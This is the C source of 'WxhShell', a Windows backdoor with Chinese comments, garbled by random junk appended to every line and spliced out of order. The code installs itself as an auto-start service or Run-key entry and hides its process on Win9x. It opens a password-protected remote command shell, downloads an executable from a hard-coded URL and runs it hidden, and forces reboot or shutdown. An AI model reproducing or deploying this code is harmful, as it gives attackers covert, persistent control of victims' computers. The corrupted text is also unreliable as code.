} PROCESS_BASIC_INFORMATION; jIvSjlm I
U07G&?/
PROCNTQSIP NtQueryInformationProcess; bjq+x:>
DQ08dP((v
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =!R+0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HNMVs]/e
4tGP-
L
HANDLE hProcess; ^7p>p8
PROCESS_BASIC_INFORMATION pbi; e5z U`R
asj*/eC$/i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [(81-j1v
if(NULL == hInst ) return 0; n){F
FM
n[f<]4<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l)P~#G+C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
MYk%p'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {K,KIj"
'P`L?/_3
if (!NtQueryInformationProcess) return 0; 6xC$R q
xRiWg/Z~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tR{@NFUcu
if(!hProcess) return 0; 4k6,pt"
9$iDK$%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iC`mj
7O\sQ]i6
CloseHandle(hProcess); q\I2lZ
$Y3mO~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D,( "3zx
if(hProcess==NULL) return 0; OtsW>L@ O(
2c u?2_,
HMODULE hMod; 2<X.kM?N{B
char procName[255]; (Z)F6sZ`8
unsigned long cbNeeded; vi8)U]6
p2)563#RS
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jjTb:Z=.'
qVe&nXo
CloseHandle(hProcess); !J/fJW>m6
b$,~S\\c
if(strstr(procName,"services")) return 1; // 以服务启动 8~6H\.0Q
W6y-~
return 0; // 注册表启动 ^:Hx .
} yr"BeTrS.
D>>?8a
// 主模块 V
W2+ Bs}
int StartWxhshell(LPSTR lpCmdLine) K4`)srd
{ NW
AT"
SOCKET wsl;
#l<un<
BOOL val=TRUE; L &nqlH@+~
int port=0; L2$`S'U W
struct sockaddr_in door; UFOUkS
F
FcaO-
if(wscfg.ws_autoins) Install(); W81dLeTZg
X
8#Uk} /
port=atoi(lpCmdLine); f*tKj.P
NB@TyU
if(port<=0) port=wscfg.ws_port; ?mME^?x
Mu
{<J(*K*\Jo
WSADATA data; -rXo}I,VI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J4VyP["m
EH2a
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .r4M]1Of
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]?"1FSu-8r
door.sin_family = AF_INET; -]$=.0 l
door.sin_addr.s_addr = inet_addr("127.0.0.1"); F&[MyX U4
door.sin_port = htons(port); 9s9_a4t5
T^F9A55y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V#-\ 4`c
closesocket(wsl); 5U[bn=n
return 1; R|OY5@
} Of?3|I3 l
2n3g!M6~
if(listen(wsl,2) == INVALID_SOCKET) { _W +
closesocket(wsl); hY5tBL
return 1; IJ zPWs5W:
} JrA\ V=K
Wxhshell(wsl); FKpyD
WSACleanup(); jYJRG<*e
K2gg"#ft?
return 0; bxFDB^
!%,k]m'
} oy<
q;'
Vh o3I[C
// 以NT服务方式启动 s^6"qhTa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bzh`s<+
{ .Km6
(U
DWORD status = 0; VHlo}Ek<#
DWORD specificError = 0xfffffff; o%1dbbh
F?EAIL
serviceStatus.dwServiceType = SERVICE_WIN32; (Ymj
serviceStatus.dwCurrentState = SERVICE_START_PENDING; trAIh}Dj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rh+2
7"
serviceStatus.dwWin32ExitCode = 0; tuWJj^
serviceStatus.dwServiceSpecificExitCode = 0; [L4s.l_#
serviceStatus.dwCheckPoint = 0; )HPe}(ypt
serviceStatus.dwWaitHint = 0; {S2?
}
[t.x cO
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :^92B?q
if (hServiceStatusHandle==0) return; /QT"5fxKJ
5$;#=WAY
status = GetLastError(); F `cuV
if (status!=NO_ERROR) v$_YZm{!<
{ uFH ]w]X
serviceStatus.dwCurrentState = SERVICE_STOPPED; [\ALT8vC?m
serviceStatus.dwCheckPoint = 0; Qe,aIh
serviceStatus.dwWaitHint = 0; BL?Bl&p(
serviceStatus.dwWin32ExitCode = status; IJz=SV
serviceStatus.dwServiceSpecificExitCode = specificError; !T3b]0z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xfsf
return; }k7t#O
} fO'"UI
Q
q7+_,w
serviceStatus.dwCurrentState = SERVICE_RUNNING; ` 0}z
;&:
serviceStatus.dwCheckPoint = 0; L%sskV(
serviceStatus.dwWaitHint = 0; CQGq}.Jt!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I&lb5'6D
} t7].33%\
.W/#$s|X\
// 处理NT服务事件,比如:启动、停止 ~[H+,+XLY+
VOID WINAPI NTServiceHandler(DWORD fdwControl) e <]^7pz
{ dd&n>A3O=
switch(fdwControl) KDQqN]rg
{ g E#4 3
case SERVICE_CONTROL_STOP: Z'F=Xw6;b
serviceStatus.dwWin32ExitCode = 0; LFHzd@Y7"
serviceStatus.dwCurrentState = SERVICE_STOPPED; +^0Q~>=VD
serviceStatus.dwCheckPoint = 0; :e|[gEA
serviceStatus.dwWaitHint = 0; %n7Y5|Uh
{ QhqXd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N u]&?
} _/(7:
return; xQ{n|)i>
case SERVICE_CONTROL_PAUSE: 4x;vn8yh
serviceStatus.dwCurrentState = SERVICE_PAUSED; EqB3f_
break; qT}AY.O%^
case SERVICE_CONTROL_CONTINUE: rQ+2 -|#
serviceStatus.dwCurrentState = SERVICE_RUNNING; G,]%dZHe
break; J#OiY
case SERVICE_CONTROL_INTERROGATE: GI ~<clhf
break; |4lrVYG^K
}; }g@5%DI]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YN<:k
Wu
} XC NM
C~PoC'"q
// 标准应用程序主函数 4PsJs<u
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I<v:xTor
{ F9Y/Z5 Ea
2wKW17wj,
// 获取操作系统版本 Fy!-1N9|l
OsIsNt=GetOsVer(); ]EhU8bZ
GetModuleFileName(NULL,ExeFile,MAX_PATH); %?`TyVt&0
gr%!<2w
// 从命令行安装 J#L"kz
if(strpbrk(lpCmdLine,"iI")) Install(); EoOB0zo}Y+
<m7T`5+
// 下载执行文件 ;K+'J0
if(wscfg.ws_downexe) { _#2AdhCu
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e,0y+~
WinExec(wscfg.ws_filenam,SW_HIDE); AnUOv2
} &q?A)R
2G4OK7x
if(!OsIsNt) { [l9iWs'M
// 如果时win9x,隐藏进程并且设置为注册表启动 |x[zzx#
>-
HideProc(); R"0fZENTG
StartWxhshell(lpCmdLine); O_n) 2t(c?
} AzwG_XgM)
else zURob MpE#
if(StartFromService()) j![ ; ;
// 以服务方式启动 p`
'8M
StartServiceCtrlDispatcher(DispatchTable); .^Z^L F
else N=`xoF
// 普通方式启动 K:i{us`
StartWxhshell(lpCmdLine); s?j` _B
qq)Dh'5*e,
return 0; ~gjREl,+D#
} tk"+PTGJT
cc"L> XoK
W)0y+H\%
r
D)u 9Y
=========================================== FK8GBkQ!
U!0 Qf7D
2L'vB1`
_B5t)7I
&?-LL{W{
\U1fUrw$*
" gx*rxid
RuW62QSq
#include <stdio.h> eTV%+
#include <string.h> {u1Rc/Lw
#include <windows.h> 7d7"^M
#include <winsock2.h> ~m]sJpW<"
#include <winsvc.h> 7,\Uk|
#include <urlmon.h> ~"Pu6-\VT
_Gpq=(q)
#pragma comment (lib, "Ws2_32.lib") \Lz2"JI
#pragma comment (lib, "urlmon.lib") I1H} 5bf3
?H c~ 3
#define MAX_USER 100 // 最大客户端连接数 S<hj6A
#define BUF_SOCK 200 // sock buffer NW.<v
/?=,
#define KEY_BUFF 255 // 输入 buffer L=. 4x=%%
wW7W+,{o
#define REBOOT 0 // 重启 \~(ww3e
#define SHUTDOWN 1 // 关机 M>mk=-l
M NE{mV(
#define DEF_PORT 5000 // 监听端口 8-N8v
*0
KPGX/l
#define REG_LEN 16 // 注册表键长度 e7{n=M
#define SVC_LEN 80 // NT服务名长度 6AZJ,Q\E@
6\MJvg\;
// 从dll定义API )\:cL GM
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VQm)32'
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N0@&eX|$i4
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -%&_LE9ZtS
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^y?7B_%:B#
dbkkx1{>Y
// wxhshell配置信息 "t<${
struct WSCFG { Lp; {&=PIo
int ws_port; // 监听端口 rz]0i@ehv'
char ws_passstr[REG_LEN]; // 口令 *t;'I -1w^
int ws_autoins; // 安装标记, 1=yes 0=no `laaT5G\y
char ws_regname[REG_LEN]; // 注册表键名 Ni5~Buf
char ws_svcname[REG_LEN]; // 服务名 qll)
char ws_svcdisp[SVC_LEN]; // 服务显示名 S~\i"A)4
char ws_svcdesc[SVC_LEN]; // 服务描述信息 8K!
l X
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |Ire#0Nwx
int ws_downexe; // 下载执行标记, 1=yes 0=no _y}]j;e8>{
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7xP>AU)y
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `}1IQ.3
Y{X79Rd
}; ~X^L3=!vf
QE&rpF7l{
// default Wxhshell configuration nXDU8|"
struct WSCFG wscfg={DEF_PORT, O:fv1
"xuhuanlingzhe", Zx(VwB2
1, y4aSf2
"Wxhshell", fX).A`
"Wxhshell", nDnSVrvd-i
"WxhShell Service", 2R&msdF
"Wrsky Windows CmdShell Service", d`LBFH,
"Please Input Your Password: ", {n8mE,;M
1, gc-yUH0I
"http://www.wrsky.com/wxhshell.exe", @U6Iw"@
"Wxhshell.exe" D 8^wR{-;J
}; TI-8I)
d\}r.pD
// 消息定义模块 ~6`HJ
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^PIUA'
char *msg_ws_prompt="\n\r? for help\n\r#>"; T] d9tX-
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q3\
YL?
char *msg_ws_ext="\n\rExit."; q]3bGO;
char *msg_ws_end="\n\rQuit."; Qvh: hkR
char *msg_ws_boot="\n\rReboot..."; [psW+3{bG
char *msg_ws_poff="\n\rShutdown..."; x@3Ix,b'
char *msg_ws_down="\n\rSave to "; J[rpMQ
DjK:)
char *msg_ws_err="\n\rErr!"; =Jfo=`da
char *msg_ws_ok="\n\rOK!"; b: UTq
7^
8%]o6'd4
char ExeFile[MAX_PATH]; X4LU/f<f
int nUser = 0; ?sV0T)uk
HANDLE handles[MAX_USER]; 7Z0fMk
int OsIsNt; iE$qq~%
K^j7T[pR
SERVICE_STATUS serviceStatus; UU')V
SERVICE_STATUS_HANDLE hServiceStatusHandle; 9|v3lGK(
BwwOaO@L
// 函数声明 r9<OB`)3+
int Install(void); m,KG}KX
int Uninstall(void); CAdq oCz|
int DownloadFile(char *sURL, SOCKET wsh); v0)I rO
int Boot(int flag); zKB$n.H
void HideProc(void); K[JbQ30
int GetOsVer(void); vZ[wr@)
int Wxhshell(SOCKET wsl); }t }y
void TalkWithClient(void *cs); 'E FP/(2J
int CmdShell(SOCKET sock); ygoA/*s
int StartFromService(void); T$[50~
int StartWxhshell(LPSTR lpCmdLine); 9?$Qk0jc
(D5 dN\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (Tt\6-
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *@`Sx'5!
EM9K^l`
// 数据结构和表定义 xwK{}==U
SERVICE_TABLE_ENTRY DispatchTable[] = 7.Df2_)
{ *Ii_dpJ
{wscfg.ws_svcname, NTServiceMain}, 57 (bd0@8
{NULL, NULL} ~JhH ,E
}; o9I=zAGjy
g{{DC )>
// 自我安装 y&;ytNG&<
int Install(void) 6
axe
{ QP HibPP:
char svExeFile[MAX_PATH]; GH ]c
HKEY key; e$'|EE.=q+
strcpy(svExeFile,ExeFile); GHeucG}?
G)~/$EF,_
// 如果是win9x系统,修改注册表设为自启动
X0a)6HZ{
if(!OsIsNt) { ndW]S 7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aY:u-1
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;1x(~pD*o
RegCloseKey(key); <5).(MTa
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yhTC?sf<
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g"b{M
RegCloseKey(key); >#pZ`oPEAv
return 0; '0ks`a4q
} 2h=QJgpCG
} _#;UXAi
} R3 Zg,YM
else { p;nRxi7'
6l Suzu
// 如果是NT以上系统,安装为系统服务 dV/ ^@[
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \tCxz(vKz
if (schSCManager!=0) sKu/VAh
x
{ W"3YA+qpI
SC_HANDLE schService = CreateService `2
6t+Tb
( opaRk.p
schSCManager, #!yW)RG
wscfg.ws_svcname, v?6g.
[;?
wscfg.ws_svcdisp, kg/<<RO
SERVICE_ALL_ACCESS, LZ'Y3 *
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;*+wg5|
SERVICE_AUTO_START, *'l|ws
SERVICE_ERROR_NORMAL, AQ)DiH
svExeFile, sa?Ul)L2
NULL, G*N}X3H:o
NULL, Q0j4c
NULL, H{1'OC
NULL, qT153dNA&
NULL _48@o^{
); XbaUmCuh
if (schService!=0) xq@_'
3X
{ a[Y\5Ojm
CloseServiceHandle(schService); bCfw,V{sce
CloseServiceHandle(schSCManager); 4Pv Pp{Y
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +3d.JQoKl
strcat(svExeFile,wscfg.ws_svcname); A6S|pO1)3
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O[<YYL0
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *S= c0
RegCloseKey(key); JIOeDuw+
return 0; JqTR4[`Z\
} )RCva3Ul
} '_fj:dy
CloseServiceHandle(schSCManager); g3*J3I-O
} T*1 `MIkv
} s`dwE*~
3uy^o
return 1; Nc_Qd4<[@G
} HceZT e@
8{B]_:
-:
// 自我卸载 [~5<['G
int Uninstall(void) :8LK}TY7
{ g^)8a;/c
HKEY key; [,TK"
/oC@:7
if(!OsIsNt) { .T*89cEu
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M
$\!SXL
RegDeleteValue(key,wscfg.ws_regname); ZxoAf;U~
RegCloseKey(key); /VHQ!Wi
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <tI_u ~P
RegDeleteValue(key,wscfg.ws_regname); r"$~Gg.%(
RegCloseKey(key); 9Ac4'L
return 0; Aq,&p,m03
} zL=PxFw0
} +2JC**)I
} @p[ml m
else { <d~IdK'\x
a_(fqoW
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /D,<2>o
if (schSCManager!=0) ,tl(\4n
{ i:n1Di1~E
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `7
3I}%?
if (schService!=0) /7&WFCc)(
{ =y]FcxF
if(DeleteService(schService)!=0) { I#U)
CloseServiceHandle(schService); JLh{>_Rr
CloseServiceHandle(schSCManager); 0NMmN_Lr
return 0; I;UCKoFT
} XLj|y#h
CloseServiceHandle(schService); k. ?@qCs[
} WVdF/H
CloseServiceHandle(schSCManager); OR<%h/ \f
} I.{%e;Reg
} V!zU4!@qP
qK,PuD7i"
return 1; v
O@7o
} 2yPF'Q7u_.
xi}3)5
// 从指定url下载文件 6I-Qq?L[H
int DownloadFile(char *sURL, SOCKET wsh) 2+}hsGnp
{ %3es+A@
HRESULT hr; ftccga
char seps[]= "/"; !Nx'4N`&l
char *token; [w?v !8l
char *file; g&fq)d
char myURL[MAX_PATH]; )|`w;F>
char myFILE[MAX_PATH]; cjc1iciZ
Q)93+1]
strcpy(myURL,sURL); lJ(];/%
token=strtok(myURL,seps); e6
a]XO^
while(token!=NULL) ]_mcJ/6:
{ 0'O6-1Li
file=token; N6w!V]b
token=strtok(NULL,seps); ?;ovh nY)
} 8~:s$~&r
N&]_U%#Q
GetCurrentDirectory(MAX_PATH,myFILE); e<duDW$X
strcat(myFILE, "\\"); >36>{b<'$*
strcat(myFILE, file); 3?uah'D5
send(wsh,myFILE,strlen(myFILE),0); @9\L|O'~?
send(wsh,"...",3,0); Zz^!QlF
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cd'K~Ch3
if(hr==S_OK) p$}1V2h;
return 0; _7N^<'B
else aSQvtv)91
return 1; -b'a-?
P>qDQ1
} `l}+BI`4
w?"s6L3
// 系统电源模块 o`~%}3
int Boot(int flag) cnR18NK
{ 7cV
GB
HANDLE hToken; k_](u91
TOKEN_PRIVILEGES tkp; 7|^5E*8/
6w*q~{"(
if(OsIsNt) { q#*b4q
{
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4<q'QU#l<
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9t_N9@
tkp.PrivilegeCount = 1; <BhNmEo)2
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S%2q X"8
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nW!pOTJq21
if(flag==REBOOT) { /=~o|-n8@
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V^qkHm e
return 0; `xie/
} [hXnw'Im/
else { &v.Nj9{zi
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Erq%Ck(
return 0; taqmtXU=(
} CINC1Ll_24
} 3B3l)eX
else { OpxJiu=W
if(flag==REBOOT) { 2pV@CT
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jZP~!q
return 0; 7)
} ;/)u/[KAv
else { #/2W RN1L
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l_0/g^(
return 0; 6;%Ajx
} N]7#Q.(~
} )&wJ